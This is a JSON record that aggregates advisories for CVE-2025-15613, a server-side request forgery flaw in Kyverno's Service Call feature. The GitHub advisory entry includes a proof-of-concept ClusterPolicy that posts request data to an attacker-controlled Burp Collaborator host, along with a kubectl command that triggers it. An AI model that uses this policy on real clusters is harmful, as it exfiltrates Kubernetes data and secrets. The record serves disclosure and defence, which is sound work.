{"id":"EUVD-2025-210816","revision":null,"records":[{"revision":"06479ba7644b46f090da3907a95170a1","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2025-15613","aliases":[],"title":"Kyverno before v1.13.4 SSRF via Service Call","description":"Kyverno before v1.13.4 is vulnerable to server-side request forgery (SSRF) via its Service Call functionality. An attacker with permission to create Kyverno (Cluster)Policies can specify an external URL in a policy's apiCall/service configuration; although Service Call is documented for in-cluster services, it also resolves external addresses, allowing requests to an attacker-controlled server. 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Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2025-210816","identifiers":["EUVD-2025-210816","CVE-2025-15613","GHSA-8g8h-v9pm-r6xg"]},"retained":false,"historicalAffected":[]},{"revision":"650e2d59dc89403db62fe3db3e675dff","observedAt":"2026-10-25T01:17:29.167+00:00","statement":{"source":"nvd","id":"CVE-2025-15613","aliases":[],"title":"Kyverno before v1.13.4 is vulnerable to server-side request forgery (SSRF) via its Service Call functionality. An attacker with permission to create Kyverno (Cluster)Policies can specify an external URL in a policy's apiCall/service configu…","description":"Kyverno before v1.13.4 is vulnerable to server-side request forgery (SSRF) via its Service Call functionality. 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Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2025-15613","identifiers":["CVE-2025-15613"]},"retained":false,"historicalAffected":[]},{"revision":"4e0141648e3e4c9a8913c6cee9911646","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-459x-q9hg-4gpq","aliases":["BIT-kyverno-2025-15613","CVE-2025-15613","GO-2025-3615"],"title":"Kyverno vulnerable to SSRF via Service Calls","description":"### Summary\nAn attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.\n\n### Details\nAccording to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.\n\nhttps://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls\n\n### PoC\nCreate a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: check-namespaces      \nspec:\n  rules:\n  - name: call-extension\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    context:\n    - name: result\n      apiCall:\n        method: POST\n        data:\n        - key: namespace\n          value: \"{{request.namespace}}\"\n        service:\n          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          \n    validate:\n      message: \"namespace {{request.namespace}} is not allowed\"\n      deny:\n        conditions:\n          all:\n          - key: \"{{ result.allowed }}\"\n            operator: Equals\n            value: false\n```\nNow let's create some configmap:\n```bash\nkubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm\n```\nLook at the Burp Collaborator logs:\n<img width=\"723\" alt=\"Снимок экрана 2025-02-21 в 17 31 25\" src=\"https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2\" />\n\n\n### Impact\nAn attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.","state":0,"publishedAt":"2025-04-15T21:19:37+00:00","modifiedAt":"2026-09-18T10:10:41.529628+00:00","affected":[{"ecosystem":"Go","name":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"last_affected","version":"1.13.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq","https://github.com/kyverno/kyverno","https://pkg.go.dev/vuln/GO-2025-3615"],"sourceUrl":"https://github.com/advisories/GHSA-459x-q9hg-4gpq","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-459x-q9hg-4gpq","identifiers":["GHSA-459x-q9hg-4gpq","BIT-kyverno-2025-15613","CVE-2025-15613","GO-2025-3615"]},"retained":false,"historicalAffected":[]},{"revision":"c0ca7f303b994e57b652e562fa3b88cf","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2025-3615","aliases":["BIT-kyverno-2025-15613","CVE-2025-15613","GHSA-459x-q9hg-4gpq"],"title":"Kyverno vulnerable to SSRF via Service Calls in github.com/kyverno/kyverno","description":"Kyverno vulnerable to SSRF via Service Calls in github.com/kyverno/kyverno","state":0,"publishedAt":"2025-04-22T16:56:33+00:00","modifiedAt":"2026-09-18T10:10:41.529628+00:00","affected":[{"ecosystem":"Go","name":"github.com/kyverno/kyverno","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq"],"sourceUrl":"https://osv.dev/vulnerability/GO-2025-3615","license":"OSV · upstream source license applies","key":"osv:GO-2025-3615","identifiers":["GO-2025-3615","BIT-kyverno-2025-15613","CVE-2025-15613","GHSA-459x-q9hg-4gpq"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. 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